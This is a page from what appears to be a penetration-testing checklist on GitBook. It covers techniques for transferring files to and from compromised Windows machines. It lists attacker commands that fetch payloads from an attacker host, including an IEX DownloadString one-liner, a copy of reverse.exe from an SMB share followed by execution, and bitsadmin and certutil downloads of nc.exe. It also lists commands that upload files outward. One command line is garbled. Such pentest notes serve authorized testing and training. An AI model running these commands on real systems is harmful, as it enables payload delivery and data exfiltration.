🩸
Pentesting Checklist
  • 👀General Checklist
    • 👁️Recon & Scanning
      • Nmap Scan
    • 🌡️Services
      • SSH
      • FTP
      • Samba
      • Git
      • SNMP
    • ⚙️Reverse Engineering
      • General
      • Android apks
      • Windows Exe or .net binaries
  • 🐞Web Application Checklist
    • 🧠Web App Attack Techniques
      • Password Smuggling Attack
    • 😍Fuzzing with ffuf
    • 💄Directory Fuzzing
      • Using the tools
      • Wordlists to use
    • 👾Subdomain Fuzzing
      • Normal fuzzing
      • Finding through DNS
    • 🎯LFI/RCE
      • LFI
        • What to do once obtained
      • RCE
      • Misc
  • ☕Linux Checklist
    • Page 2
  • 🪟Windows Checklist
    • 💀Windows Connection Methods
  • 🖇️Tips & Tricks
    • Transferring Files
      • 🐧Linux
      • 📸Windows
    • Pivoting / Lateral Movement Techniques
      • proxychains
      • chisel
      • sshuttle
      • ligolo-ng
    • 🧩Fuzzing
    • 🙃Credential Brute-Forcing
  • 🍒Other useful resources:
    • Page 7
Powered by GitBook
On this page
  1. Tips & Tricks
  2. Transferring Files

Windows

Transferring files to/from remote Windows systems

PreviousLinuxNextPivoting / Lateral Movement Techniques

Last updated 2 years ago

  • Python Web Server ()

    • python3 -b 0.0.0.0 8080\windows\system32\curl.exe –upload-file http://ip:port/outfile

  • Base64

    • Upload to remote server

      • base64 file

      • [IO.File]::WriteAllBytes("C:\outputfile", [Convert]::FromBase64String("base64"))

    • Download from remote server

      • [Convert]::ToBase64String((Get-Content -path "C:\file" -Encoding byte))

      • echo "base64_text" | base64 -d > outputfile

  • SMB

    • sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

      • Mount the SMB Server with Username and Password: net use n: \kali\share /user:test test

      • copy n:\file

    • Another way

      • On our machine: sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .

      • On remote machine: copy \\kali\reverse.exe C:\PrivEsc\reverse.exe

      • Then run listener on our machine and run program on remote machine

  • evil-winrm (same commands for meterpreter) (file must be an absolute path)

    • download (file)

    • upload (file)

  • Powershell

    • iwr http://ip:port/filename -outfile <path\to\file>

    • (New-Object Net.WebClient).DownloadFile('Target File URL','Output File Name')

    • (New-Object Net.WebClient).DownloadFileAsync('Target File URL','Output File Name')

    • IEX (New-Object Net.WebClient).DownloadString('Target File URL')

  • FTP

    • Upload to remote server

      • sudo pip3 install pyftpdlib

      • sudo python3 -m pyftpdlib --port 21

      • (New-Object Net.WebClient).DownloadFile('ftp://ip/file.txt', 'ftp-file.txt')

    • Download from remote server

      • sudo python3 -m pyftpdlib --port 21 --write

      • (New-Object Net.WebClient).UploadFile('ftp://ip/outputfile', 'remote_file')

  • Misc Methods

    • Download a file from attack_machine using Bitsadmin:

      • bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe

    • Download a file from attack_machine using Certutil:

      • certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe

🖇️
📸
https://da.gd/9AaLR